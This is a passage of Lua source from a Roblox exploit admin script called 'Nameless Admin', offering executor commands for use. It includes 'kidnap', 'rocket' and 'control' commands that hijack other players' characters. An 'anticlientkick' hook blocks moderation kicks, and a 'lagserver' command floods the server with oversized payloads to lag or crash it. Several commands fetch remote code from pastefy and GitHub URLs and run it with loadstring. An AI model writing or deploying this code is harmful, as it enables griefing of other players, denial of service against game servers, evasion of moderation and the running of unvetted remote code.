game:GetService("RunService").Heartbeat:connect(function() v.Velocity = Vector3.new(-30,0,0) end) end end wait(); Notify({ Description = "Netless has been activated, re-run this script if you die"; Title = "Nameless Admin"; Duration = 5; }); end) cmd.add({"rocket"}, {"rocket ", "rockets a player"}, function(...) wait(); Notify({ Description = "Get ready to launch..."; Title = "Nameless Admin"; Duration = 5; }); wait(0.5) local OldPos = getRoot().CFrame tweenService, tweenInfo = game:GetService("TweenService"), TweenInfo.new(70, Enum.EasingStyle.Linear) tween = tweenService:Create(game:GetService("Players")["LocalPlayer"].Character.HumanoidRootPart, tweenInfo, {CFrame = CFrame.new(0, 10000, 0)}) tween:Play() Username = (...) Target = (...) local TPlayer = getPlr(Target) TRootPart = TPlayer.Character.HumanoidRootPart local Character = Player.Character local PlayerGui = Player:WaitForChild("PlayerGui") local Backpack = Player:WaitForChild("Backpack") local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid") or false local RootPart = Character and Humanoid and Humanoid.RootPart or false local RightArm = Character and Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not Humanoid or not RootPart or not RightArm then return end Humanoid:UnequipTools() local MainTool = Backpack:FindFirstChildWhichIsA("Tool") or false if not MainTool or not MainTool:FindFirstChild("Handle") then return end Humanoid.Name = "DAttach" local l = Character["DAttach"]:Clone() l.Parent = Character l.Name = "Humanoid" wait() Character["DAttach"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = Character Character.Animate.Disabled = true wait() Character.Animate.Disabled = false Character.Humanoid:EquipTool(MainTool) wait() CF = Player.Character.PrimaryPart.CFrame if firetouchinterest then local flag = false task.defer(function() MainTool.Handle.AncestryChanged:wait() flag = true end) repeat firetouchinterest(MainTool.Handle, TRootPart, 0) firetouchinterest(MainTool.Handle, TRootPart, 1) wait() until flag else Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() end CF = Player.Character.HumanoidRootPart.CFrame player.CharacterAdded:wait(1):waitForChild("HumanoidRootPart").CFrame = CF end) cmd.add({"kidnap"}, {"kidnap ", "Kidnaps a player"}, function(...) wait(); Notify({ Description = "Kidnapping... next time take a van, or not"; Title = "Nameless Admin"; Duration = 5; }); local OldPos = getRoot().CFrame wait() tweenService, tweenInfo = game:GetService("TweenService"), TweenInfo.new(160, Enum.EasingStyle.Linear) tween = tweenService:Create(game:GetService("Players")["LocalPlayer"].Character.HumanoidRootPart, tweenInfo, {CFrame = CFrame.new(0, -1000, 0)}) tween:Play() wait() Username = (...) Target = (...) local TPlayer = getPlr(Target) TRootPart = TPlayer.Character.HumanoidRootPart local Character = Player.Character local PlayerGui = Player:WaitForChild("PlayerGui") local Backpack = Player:WaitForChild("Backpack") local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid") or false local RootPart = Character and Humanoid and Humanoid.RootPart or false local RightArm = Character and Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not Humanoid or not RootPart or not RightArm then return end Humanoid:UnequipTools() local MainTool = Backpack:FindFirstChildWhichIsA("Tool") or false if not MainTool or not MainTool:FindFirstChild("Handle") then return end Humanoid.Name = "DAttach" local l = Character["DAttach"]:Clone() l.Parent = Character l.Name = "Humanoid" wait() Character["DAttach"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = Character Character.Animate.Disabled = true wait() Character.Animate.Disabled = false Character.Humanoid:EquipTool(MainTool) wait() CF = Player.Character.PrimaryPart.CFrame if firetouchinterest then local flag = false task.defer(function() MainTool.Handle.AncestryChanged:wait() flag = true end) repeat firetouchinterest(MainTool.Handle, TRootPart, 0) firetouchinterest(MainTool.Handle, TRootPart, 1) wait() until flag else Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() end CF = Player.Character.HumanoidRootPart.CFrame player.CharacterAdded:wait(1):waitForChild("HumanoidRootPart").CFrame = CF end) cmd.add({"hatsleash", "hl"}, {"hatsleash", "Makes you be able to carry your hats"}, function() for _, v in pairs(game.Players.LocalPlayer.Character:getChildren()) do if v.ClassName == "Accessory" then for i, k in pairs(v:GetDescendants()) do if k.ClassName == "Attachment" then s = Instance.new("RopeConstraint") k.Parent.CanCollide = true s.Parent = game.Players.LocalPlayer.Character.HumanoidRootPart s.Attachment1 = k s.Attachment0 = game.Players.LocalPlayer.Character.Head.FaceCenterAttachment s.Visible = true s.Length = 10 v.Handle.AccessoryWeld:Destroy() end end end end end) cmd.add({"toolleash", "tl"}, {"toolleash", "Makes you be able to carry your tools"}, function() for _,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do v.Parent = game.Players.LocalPlayer.Character end for _,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do if v.ClassName == "Tool" then x = Instance.new("Attachment") s = Instance.new("RopeConstraint") v.Handle.CanCollide = true x.Parent = v.Handle s.Parent = game.Players.LocalPlayer.Character.HumanoidRootPart s.Attachment1 = game.Players.LocalPlayer.Character["Right Arm"].RightGripAttachment s.Attachment0 = v.Handle.Attachment s.Length = 100 s.Visible = true wait() end end for _,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do if v.Name == "RightGrip" then v:Destroy() end end while wait() do for _,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do if v.ClassName == "Tool" then v.Handle.Velocity = Vector3.new(math.random(-100, 100), 5, math.random(-100, 100)) end end end end) cmd.add({"control"}, {"control ", "Control a player"}, function(...) Target = (...) Control = true repeat wait() local TPlayer = getPlr(Target) TRootPart = TPlayer.Character.HumanoidRootPart local Character = Player.Character local PlayerGui = Player:WaitForChild("PlayerGui") local Backpack = Player:WaitForChild("Backpack") local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid") or false local RootPart = Character and Humanoid and Humanoid.RootPart or false local RightArm = Character and Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not Humanoid or not RootPart or not RightArm then return end Humanoid:UnequipTools() local MainTool = Backpack:FindFirstChildWhichIsA("Tool") or false if not MainTool or not MainTool:FindFirstChild("Handle") then return end Humanoid.Name = "DAttach" local l = Character["DAttach"]:Clone() l.Parent = Character l.Name = "Humanoid" wait() Character["DAttach"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = Character Character.Animate.Disabled = true wait() Character.Animate.Disabled = false Character.Humanoid:EquipTool(MainTool) wait() CF = Player.Character.PrimaryPart.CFrame if firetouchinterest then local flag = false task.defer(function() MainTool.Handle.AncestryChanged:wait() flag = true end) repeat firetouchinterest(MainTool.Handle, TRootPart, 0) firetouchinterest(MainTool.Handle, TRootPart, 1) wait() until flag else Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() end player.CharacterAdded:wait(1) wait(0.2) getRoot().CFrame= getPlr(Target).Character.Head.CFrame wait(0.05) until Control == false end) cmd.add({"uncontrol"}, {"uncontrol", "Uncontrol a player"}, function() Control = false end) cmd.add({"reset"}, {"reset", "Makes your health be 0"}, function() game.Players.LocalPlayer.Character.Humanoid.Health = 0 end) cmd.add({"admin"}, {"admin", "sends the admin name in chat"}, function() game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer('Nameless Admin | .gg/mW442YxE4j', 'All') end) cmd.add({"2016"}, {"2016", "2016 CORE GUI"}, function() loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/main/2016MODE"))() end) cmd.add({"removedn", "nodn", "nodpn"}, {"removedn (nodn, nodpn)", "Removes all display names"}, function() wait(); Notify({ Description = "Display names successfully removed"; Title = "Nameless Admin"; Duration = 5; }); local Players = game:FindService("Players") require(game:GetService("Chat"):WaitForChild("ClientChatModules").ChatSettings).PlayerDisplayNamesEnabled = false local function rename(character,name) repeat task.wait() until character:FindFirstChildWhichIsA("Humanoid") character:FindFirstChildWhichIsA("Humanoid").DisplayName = name end for i,v in next, Players:GetPlayers() do if v.Character then v.DisplayName = v.Name rename(v.Character,v.Name) end v.CharacterAdded:Connect(function(char) rename(char,v.Name) end) end Players.PlayerAdded:Connect(function(plr) plr.DisplayName = plr.Name plr.CharacterAdded:Connect(function(char) rename(char,plr.Name) end) end) end) cmd.add({"anticlientkick", "antickick"}, {"anticlientkick (antickick)", "Makes scripts harder to kick you still possible"}, function() --// Cache local getgenv, getnamecallmethod, hookmetamethod, newcclosure, checkcaller, stringlower = getgenv, getnamecallmethod, hookmetamethod, newcclosure, checkcaller, string.lower --// Loaded check if getgenv().ED_AntiKick then return end --// Variables local Players, StarterGui, OldNamecall = game:GetService("Players"), game:GetService("StarterGui") --// Global Variables getgenv().ED_AntiKick = { SendNotifications = true, -- Set to true if you want to get notified for every event CheckCaller = false -- Set to true if you want to disable kicking by other executed scripts } --// Main OldNamecall = hookmetamethod(game, "__namecall", newcclosure(function(...) if (getgenv().ED_AntiKick.CheckCaller and not checkcaller() or true) and stringlower(getnamecallmethod()) == "kick" then if getgenv().ED_AntiKick.SendNotifications then StarterGui:SetCore("SendNotification", { Title = "Nameless Admin", Text = "The script has successfully intercepted an attempted kick.", Icon = "rbxassetid://6238540373", Duration = 2, }) end return nil end return OldNamecall(...) end)) if getgenv().ED_AntiKick.SendNotifications then wait(); Notify({ Description = "Anti kick executed"; Title = "Nameless Admin"; Duration = 5; }); end end) cmd.add({"mousefling", "flingtool"}, {"flingtool (mousefling)", "Mouse fling, gives a tool"}, function() loadstring(game:HttpGet(('https://pastefy.ga/xBdd9GId/raw'),true))() end) cmd.add({"backdoorscan", "backdoor"}, {"backdoorscan (backdoor)", "Scans for any backdoors using FraktureSS"}, function() wait(); Notify({ Description = "Backdoor scanning..."; Title = "Nameless Admin"; Duration = 5; }); loadstring(game:HttpGet("https://raw.githubusercontent.com/L1ghtingBolt/FraktureSS/master/unobfuscated.lua"))() end) cmd.add({"serverhop", "shop"}, {"serverhop (shop)", "Serverhop"}, function() rejoining = true if syn.queue_on_teleport then syn.queue_on_teleport('game:GetService("ReplicatedFirst"):RemoveDefaultLoadingScreen()') end wait(); Notify({ Description = "Searching"; Title = "Nameless Admin"; Duration = 5; }); local Decision = fast local GUIDs = {} local maxPlayers = 0 local pagesToSearch = 100 if Decision == "fast" then pagesToSearch = 5 end local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100&cursor=")) for i = 1,pagesToSearch do for i,v in pairs(Http.data) do if v.playing ~= v.maxPlayers and v.id ~= game.JobId then maxPlayers = v.maxPlayers table.insert(GUIDs, {id = v.id, users = v.playing}) end end wait(); Notify({ Description = "Searched, please wait while we are teleporting you"; Title = "Nameless Admin"; Duration = 5; }); if Http.nextPageCursor ~= null then Http = game:GetService("HttpService"):JSONDecode(game:HttpGet("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100&cursor="..Http.nextPageCursor)) else break end end game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, GUIDs[math.random(1,#GUIDs)].id, cmdlp) end) cmd.add({"functionspy"}, {"functionspy", "Check console"}, function() local toLog = { debug.getconstants; getconstants; debug.getconstant; getconstant; debug.setconstant; setconstant; debug.getupvalues; debug.getupvalue; getupvalues; getupvalue; debug.setupvalue; setupvalue; getsenv; getreg; getgc; getconnections; firesignal; fireclickdetector; fireproximityprompt; firetouchinterest; gethiddenproperty; sethiddenproperty; hookmetamethod; setnamecallmethod; getrawmetatable; setrawmetatable; setreadonly; isreadonly; debug.setmetatable; } local FunctionSpy = Instance.new("ScreenGui") local Main = Instance.new("Frame") local LeftPanel = Instance.new("ScrollingFrame") local UIListLayout = Instance.new("UIListLayout") local example = Instance.new("TextButton") local name = Instance.new("TextLabel") local UIPadding = Instance.new("UIPadding") local FakeTitle = Instance.new("TextButton") local Title = Instance.new("TextLabel") local clear = Instance.new("ImageButton") local RightPanel = Instance.new("ScrollingFrame") local output = Instance.new("TextLabel") local clear_2 = Instance.new("TextButton") local copy = Instance.new("TextButton") --Properties: FunctionSpy.Name = "FunctionSpy" FunctionSpy.Parent = game.CoreGui FunctionSpy.ZIndexBehavior = Enum.ZIndexBehavior.Sibling Main.Name = "Main" Main.Parent = FunctionSpy Main.BackgroundColor3 = Color3.fromRGB(33, 33, 33) Main.BorderSizePixel = 0 Main.Position = UDim2.new(0, 10, 0, 36) Main.Size = UDim2.new(0, 536, 0, 328) LeftPanel.Name = "LeftPanel" LeftPanel.Parent = Main LeftPanel.Active = true LeftPanel.BackgroundColor3 = Color3.fromRGB(45, 45, 45) LeftPanel.BorderSizePixel = 0 LeftPanel.Size = UDim2.new(0.349999994, 0, 1, 0) LeftPanel.CanvasSize = UDim2.new(0, 0, 0, 0) LeftPanel.HorizontalScrollBarInset = Enum.ScrollBarInset.ScrollBar LeftPanel.ScrollBarThickness = 3 UIListLayout.Parent = LeftPanel UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder UIListLayout.Padding = UDim.new(0, 7) example.Name = "example" example.Parent = LeftPanel example.BackgroundColor3 = Color3.fromRGB(31, 31, 31) example.BorderSizePixel = 0 example.Position = UDim2.new(4.39481269e-08, 0, 0, 0) example.Size = UDim2.new(0, 163, 0, 19) example.Visible = false example.Font = Enum.Font.SourceSans example.Text = "" example.TextColor3 = Color3.fromRGB(0, 0, 0) example.TextSize = 14.000 example.TextXAlignment = Enum.TextXAlignment.Left name.Name = "name" name.Parent = example name.BackgroundColor3 = Color3.fromRGB(255, 255, 255) name.BackgroundTransparency = 1.000 name.BorderSizePixel = 0 name.Position = UDim2.new(0, 10, 0, 0) name.Size = UDim2.new(1, -10, 1, 0) name.Font = Enum.Font.SourceSans name.TextColor3 = Color3.fromRGB(255, 255, 255) name.TextSize = 14.000 name.TextXAlignment = Enum.TextXAlignment.Left UIPadding.Parent = LeftPanel UIPadding.PaddingBottom = UDim.new(0, 7) UIPadding.PaddingLeft = UDim.new(0, 7) UIPadding.PaddingRight = UDim.new(0, 7) UIPadding.PaddingTop = UDim.new(0, 7) FakeTitle.Name = "FakeTitle" FakeTitle.Parent = Main FakeTitle.BackgroundColor3 = Color3.fromRGB(40, 40, 40) FakeTitle.BorderSizePixel = 0 FakeTitle.Position = UDim2.new(0, 225, 0, -26) FakeTitle.Size = UDim2.new(0.166044772, 0, 0, 26) FakeTitle.Font = Enum.Font.GothamMedium FakeTitle.Text = "FunctionSpy" FakeTitle.TextColor3 = Color3.fromRGB(255, 255, 255) FakeTitle.TextSize = 14.000 Title.Name = "Title" Title.Parent = Main Title.BackgroundColor3 = Color3.fromRGB(40, 40, 40) Title.BorderSizePixel = 0 Title.Position = UDim2.new(0, 0, 0, -26) Title.Size = UDim2.new(1, 0, 0, 26) Title.Font = Enum.Font.GothamMedium Title.Text = "FunctionSpy" Title.TextColor3 = Color3.fromRGB(255, 255, 255) Title.TextSize = 14.000 Title.TextWrapped = true clear.Name = "clear" clear.Parent = Title clear.BackgroundTransparency = 1.000 clear.Position = UDim2.new(1, -28, 0, 2) clear.Size = UDim2.new(0, 24, 0, 24) clear.ZIndex = 2 clear.Image = "rbxassetid://3926305904" clear.ImageRectOffset = Vector2.new(924, 724) clear.ImageRectSize = Vector2.new(36, 36) RightPanel.Name = "RightPanel" RightPanel.Parent = Main RightPanel.Active = true RightPanel.BackgroundColor3 = Color3.fromRGB(35, 35, 35) RightPanel.BorderSizePixel = 0 RightPanel.Position = UDim2.new(0.349999994, 0, 0, 0) RightPanel.Size = UDim2.new(0.649999976, 0, 1, 0) RightPanel.CanvasSize = UDim2.new(0, 0, 0, 0) RightPanel.HorizontalScrollBarInset = Enum.ScrollBarInset.ScrollBar RightPanel.ScrollBarThickness = 3 output.Name = "output" output.Parent = RightPanel output.BackgroundColor3 = Color3.fromRGB(255, 255, 255) output.BackgroundTransparency = 1.000 output.BorderColor3 = Color3.fromRGB(27, 42, 53) output.BorderSizePixel = 0 output.Position = UDim2.new(0, 10, 0, 10) output.Size = UDim2.new(1, -10, 0.75, -10) output.Font = Enum.Font.GothamMedium output.Text = "" output.TextColor3 = Color3.fromRGB(255, 255, 255) output.TextSize = 14.000 output.TextXAlignment = Enum.TextXAlignment.Left output.TextYAlignment = Enum.TextYAlignment.Top clear_2.Name = "clear" clear_2.Parent = RightPanel clear_2.BackgroundColor3 = Color3.fromRGB(30, 30, 30) clear_2.BorderSizePixel = 0 clear_2.Position = UDim2.new(0.0631457642, 0, 0.826219559, 0) clear_2.Size = UDim2.new(0, 140, 0, 33) clear_2.Font = Enum.Font.SourceSans clear_2.Text = "Clear logs" clear_2.TextColor3 = Color3.fromRGB(255, 255, 255) clear_2.TextSize = 14.000 copy.Name = "copy" copy.Parent = RightPanel copy.BackgroundColor3 = Color3.fromRGB(30, 30, 30) copy.BorderSizePixel = 0 copy.Position = UDim2.new(0.545350134, 0, 0.826219559, 0) copy.Size = UDim2.new(0, 140, 0, 33) copy.Font = Enum.Font.SourceSans copy.Text = "Copy info" copy.TextColor3 = Color3.fromRGB(255, 255, 255) copy.TextSize = 14.000 -- Scripts: local function AKIHDI_fake_script() -- Main.Main local script = Instance.new('LocalScript', Main) _G.functionspy = { instance = script.Parent.Parent; logging = true; connections = {}; } _G.functionspy.shutdown = function() for i,v in pairs(_G.functionspy.connections) do v:Disconnect() end _G.functionspy.connections = {} _G.functionspy = nil script.Parent.Parent:Destroy() end local connections = {} local currentInfo = nil function log(name, text) local btn = script.Parent.LeftPanel.example:Clone() btn.Parent = script.Parent.LeftPanel btn.Name = name btn.name.Text = name btn.Visible = true table.insert(connections, btn.MouseButton1Click:Connect(function() script.Parent.RightPanel.output.Text = text currentInfo = text end)) end script.Parent.RightPanel.copy.MouseButton1Click:Connect(function() if currentInfo ~= nil then setclipboard(currentInfo) end end) script.Parent.RightPanel.clear.MouseButton1Click:Connect(function() for i,v in pairs(connections) do v:Disconnect() end for i,v in pairs(script.Parent.LeftPanel:GetDescendants()) do if v:IsA("TextButton") and v.Visible == true then v:Destroy() end end script.Parent.RightPanel.output.Text = "" currentInfo = nil end) local hooked = {} local Seralize = loadstring(game:HttpGet('https://api.irisapp.ca/Scripts/SeralizeTable.lua', true))() for i,v in next, toLog do if type(v) == "string" then local suc,err = pcall(function() local func = loadstring("return "..v)() hooked[i] = hookfunction(func, function(...) local args = {...} if _G.functionspy then pcall(function() out = "" out = out..(v..", Args -> {")..("\n"):format() for l,k in pairs(args) do if type(k) == "function" then out = out..(" ["..tostring(l).."] "..tostring(k)..", Type -> "..type(k)..", Name -> "..getinfo(k).name)..("\n"):format() elseif type(k) == "table" then out = out..(" ["..tostring(l).."] "..tostring(k)..", Type -> "..type(k)..", Data -> "..Seralize(k))..("\n"):format() elseif type(k) == "boolean" then out = out..(" ["..tostring(l).."] Value -> "..tostring(k).." -> "..type(k))..("\n"):format() elseif type(k) == "nil" then out = out..(" ["..tostring(l).."] null")..("\n"):format() elseif type(k) == "number" then out = out..(" ["..tostring(l).."] Value -> "..tostring(k)..", Type -> "..type(k))..("\n"):format() else out = out..(" ["..tostring(l).."] Value -> "..tostring(k)..", Type -> "..type(k))..("\n"):format() end end out = out..("}, Result -> "..tostring(nil))..("\n"):format() if _G.functionspy.logging == true then log(v,out) end end) end return hooked[i](...) end) end) if not suc then warn("Something went wrong while hooking "..v..". Error: "..err) end elseif type(v) == "function" then local suc,err = pcall(function() hooked[i] = hookfunction(v, function(...) local args = {...} if _G.functionspy then pcall(function() out = "" out = out..(getinfo(v).name..", Args -> {")..("\n"):format() for l,k in pairs(args) do if type(k) == "function" then out = out..(" ["..tostring(l).."] "..tostring(k)..", Type -> "..type(k)..", Name -> "..getinfo(k).name)..("\n"):format() elseif type(k) == "table" then out = out..(" ["..tostring(l).."] "..tostring(k)..", Type -> "..type(k)..", Data -> "..Seralize(k))..("\n"):format() elseif type(k) == "boolean" then out = out..(" ["..tostring(l).."] Value -> "..tostring(k).." -> "..type(k))..("\n"):format() elseif type(k) == "nil" then out = out..(" ["..tostring(l).."] null")..("\n"):format() elseif type(k) == "number" then out = out..(" ["..tostring(l).."] Value -> "..tostring(k)..", Type -> "..type(k))..("\n"):format() else out = out..(" ["..tostring(l).."] Value -> "..tostring(k)..", Type -> "..type(k))..("\n"):format() end end out = out..("}, Result -> "..tostring(nil))..("\n"):format() if _G.functionspy.logging == true then log(getinfo(v).name,out) end end) end return hooked[i](...) end) end) if not suc then warn("Something went wrong while hooking "..getinfo(v).name..". Error: "..err) end end end end coroutine.wrap(AKIHDI_fake_script)() local function KVVJTK_fake_script() -- FakeTitle.DragScript local script = Instance.new('LocalScript', FakeTitle) --Not made by me, check out this video: https://www.youtube.com/watch?v=z25nyNBG7Js&t=22s --Put this inside of your Frame and configure the speed if you would like. --Enjoy! Credits go to: https://www.youtube.com/watch?v=z25nyNBG7Js&t=22s local UIS = game:GetService('UserInputService') local frame = script.Parent.Parent local dragToggle = nil local dragSpeed = 0.25 local dragStart = nil local startPos = nil local function updateInput(input) local delta = input.Position - dragStart local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play() end table.insert(_G.functionspy.connections, frame.Title.InputBegan:Connect(function(input) if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then dragToggle = true dragStart = input.Position startPos = frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragToggle = false end end) end end)) table.insert(_G.functionspy.connections, UIS.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then if dragToggle then updateInput(input) end end end)) end coroutine.wrap(KVVJTK_fake_script)() local function BIPVKVC_fake_script() -- FakeTitle.LocalScript local script = Instance.new('LocalScript', FakeTitle) table.insert(_G.functionspy.connections, script.Parent.MouseEnter:Connect(function() if _G.functionspy.logging == true then game:GetService("TweenService"):Create(script.Parent.Parent.Title, TweenInfo.new(0.3), {TextColor3 = Color3.new(0,1,0)}):Play() elseif _G.functionspy.logging == false then game:GetService("TweenService"):Create(script.Parent.Parent.Title, TweenInfo.new(0.3), {TextColor3 = Color3.new(1,0,0)}):Play() end end)) table.insert(_G.functionspy.connections, script.Parent.MouseMoved:Connect(function() if _G.functionspy.logging == true then game:GetService("TweenService"):Create(script.Parent.Parent.Title, TweenInfo.new(0.3), {TextColor3 = Color3.new(0,1,0)}):Play() elseif _G.functionspy.logging == false then game:GetService("TweenService"):Create(script.Parent.Parent.Title, TweenInfo.new(0.3), {TextColor3 = Color3.new(1,0,0)}):Play() end end)) table.insert(_G.functionspy.connections, script.Parent.MouseButton1Click:Connect(function() _G.functionspy.logging = not _G.functionspy.logging if _G.functionspy.logging == true then game:GetService("TweenService"):Create(script.Parent.Parent.Title, TweenInfo.new(0.3), {TextColor3 = Color3.new(0,1,0)}):Play() elseif _G.functionspy.logging == false then game:GetService("TweenService"):Create(script.Parent.Parent.Title, TweenInfo.new(0.3), {TextColor3 = Color3.new(1,0,0)}):Play() end end)) table.insert(_G.functionspy.connections, script.Parent.MouseLeave:Connect(function() game:GetService("TweenService"):Create(script.Parent.Parent.Title, TweenInfo.new(0.3), {TextColor3 = Color3.new(1,1,1)}):Play() end)) end coroutine.wrap(BIPVKVC_fake_script)() local function PRML_fake_script() -- clear.LocalScript local script = Instance.new('LocalScript', clear) script.Parent.MouseButton1Click:Connect(function() _G.functionspy.shutdown() end) end coroutine.wrap(PRML_fake_script)() end) local flyPart cmd.add({"fly"}, {"fly [speed]", "Enable flight"}, function(...) FLYING = false cmdlp.Character.Humanoid.PlatformStand = false wait() wait(); Notify({ Description = "Fly enabled"; Title = "Nameless Admin"; Duration = 5; }); sFLY(true) speedofthevfly = (...) if (...) == nil then speedofthevfly = 2 end end) cmd.add({"unfly"}, {"unfly", "Disable flight"}, function() wait(); Notify({ Description = "Not flying anymore"; Title = "Nameless Admin"; Duration = 5; }); FLYING = false cmdlp.Character.Humanoid.PlatformStand = false end) cmd.add({"noclip", "nclip", "nc"}, {"noclip", "Disable your player's collision"}, function() if connections["noclip"] then lib.disconnect("noclip") return end lib.connect("noclip", RunService.Stepped:Connect(function() if not character then return end for i, v in pairs(character:GetDescendants()) do if v:IsA("BasePart") then v.CanCollide = false end end end)) end) cmd.add({"lagserver", "lserver"}, {"lagserver (lserver)", "lags / ddoses the server"}, function(...) local char = game:GetService('Players').LocalPlayer.Character or nil if char then char.HumanoidRootPart.CFrame = CFrame.new(0,9e9,0) task.wait(0.5) char.HumanoidRootPart.Anchored = true end while wait(1.5) do --// don't change it's the best game:GetService("NetworkClient"):SetOutgoingKBPSLimit(math.huge) local function getmaxvalue(val) local mainvalueifonetable = 499999 if type(val) ~= "number" then return nil end local calculateperfectval = (mainvalueifonetable/(val+2)) return calculateperfectval end local function bomb(tableincrease, tries) local maintable = {} local spammedtable = {} table.insert(spammedtable, {}) z = spammedtable[1] for i = 1, tableincrease do local tableins = {} table.insert(z, tableins) z = tableins end local calculatemax = getmaxvalue(tableincrease) local maximum if calculatemax then maximum = calculatemax else maximum = 999999 end for i = 1, maximum do table.insert(maintable, spammedtable) end for i = 1, tries do game.RobloxReplicatedStorage.SetPlayerBlockList:FireServer(maintable) end end bomb(289, 5) --// change values if client crashes end end) cmd.add({"clip", "c"}, {"clip", "Enable your player's collision"}, function() lib.disconnect("noclip") end) cmd.add({"r15"}, {"r15", "Prompts a message asking to make you R15"}, function() local avs = game:GetService("AvatarEditorService") avs:PromptSaveAvatar(game.Players.LocalPlayer.Character.Humanoid.HumanoidDescription,Enum.HumanoidRigType.R15) Notify({ Description = "Press allow"; Duration = 3; }); local result = avs.PromptSaveAvatarCompleted:Wait() if result == Enum.AvatarPromptResult.Success then Notify({ Description = "You are now R15"; Title = "Nameless Admin"; Duration = 3; }); respawn() else Notify({ Description = "An error has occured"; Title = "Nameless Admin"; Duration = 3; }); end end) cmd.add({"r6"}, {"r6", "Prompts a message asking to make you R6"}, function() local avs = game:GetService("AvatarEditorService") avs:PromptSaveAvatar(game.Players.LocalPlayer.Character.Humanoid.HumanoidDescription,Enum.HumanoidRigType.R6) Notify({ Description = "Press allow"; Duration = 3; }); local result = avs.PromptSaveAvatarCompleted:Wait() if result == Enum.AvatarPromptResult.Success then Notify({ Description = "You are now R6"; Title = "Nameless Admin"; Duration = 3; }); respawn() else Notify({ Description = "An error has occured"; Title = "Nameless Admin"; Duration = 3; }); end end) cmd.add({"freecam", "fc", "fcam"}, {"freecam [speed] (fc, fcam)", "Enable free camera"}, function(speed) if not speed then speed = 5 end if connections["freecam"] then lib.disconnect("freecam") camera.CameraSubject = character wrap(function() character.PrimaryPart.Anchored = false end) end local dir = {w = false, a = false, s = false, d = false} local cf = Instance.new("CFrameValue") local camPart = Instance.new("Part") camPart.Transparency = 1 camPart.Anchored = true camPart.CFrame = camera.CFrame wrap(function() character.PrimaryPart.Anchored = true end) lib.connect("freecam", RunService.RenderStepped:Connect(function() local primaryPart = camPart camera.CameraSubject = primaryPart local x, y, z = 0, 0, 0 if dir.w then z = -1 * speed end if dir.a then x = -1 * speed end if dir.s then z = 1 * speed end if dir.d then x = 1 * speed end if dir.q then y = 1 * speed end if dir.e then y = -1 * speed end primaryPart.CFrame = CFrame.new( primaryPart.CFrame.p, (camera.CFrame * CFrame.new(0, 0, -100)).p ) local moveDir = CFrame.new(x,y,z) cf.Value = cf.Value:lerp(moveDir, 0.2) primaryPart.CFrame = primaryPart.CFrame:lerp(primaryPart.CFrame * cf.Value, 0.2) end)) lib.connect("freecam", UserInputService.InputBegan:Connect(function(input, event) if event then return end local code, codes = input.KeyCode, Enum.KeyCode if code == codes.W then dir.w = true elseif code == codes.A then dir.a = true elseif code == codes.S then dir.s = true elseif code == codes.D then dir.d = true elseif code == codes.Q then dir.q = true elseif code == codes.E then dir.e = true elseif code == codes.Space then dir.q = true end end)) lib.connect("freecam", UserInputService.InputEnded:Connect(function(input, event) if event then return end local code, codes = input.KeyCode, Enum.KeyCode if code == codes.W then dir.w = false elseif code == codes.A then dir.a = false elseif code == codes.S then dir.s = false elseif code == codes.D then dir.d = false elseif code == codes.Q then dir.q = false elseif code == codes.E then dir.e = false elseif code == codes.Space then dir.q = false end end)) end) cmd.add({"unfreecam", "unfc", "unfcam"}, {"unfreecam (unfc, unfcam)", "Disable free camera"}, function() lib.disconnect("freecam") camera.CameraSubject = character wrap(function() character.PrimaryPart.Anchored = false end) end) cmd.add({"drophats"}, {"drophats", "Drop all of your hats"}, function() for _, hat in pairs(character:GetChildren()) do if hat:IsA("Accoutrement") then hat.Parent = workspace end end end) cmd.add({"hatspin"}, {"hatspin ", "Make your hats spin"}, function(h) local head = character:FindFirstChild("Head") if not head then return end for _, hat in pairs(character:GetChildren()) do if hat:IsA("Accoutrement") and hat:FindFirstChild("Handle") then local handle = hat.Handle handle:BreakJoints() local align = Instance.new("AlignPosition") local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment") align.Attachment0, align.Attachment1 = a0, a1 align.RigidityEnabled = true a1.Position = Vector3.new(0, tonumber(h) or 0.5, 0) lock(align, handle); lock(a0, handle); lock(a1, head); local angular = Instance.new("BodyAngularVelocity") angular.AngularVelocity = Vector3.new(0, math.random(100, 160)/16, 0) angular.MaxTorque = Vector3.new(0, 400000, 0) lock(angular, handle); end end end) cmd.add({"limbbounce"}, {"limbbounce [height] [distance]", "Make your limbs bounce around your head"}, function(h, d) local head = character:FindFirstChild("Head") if not head then return end local i = 2 for _, part in 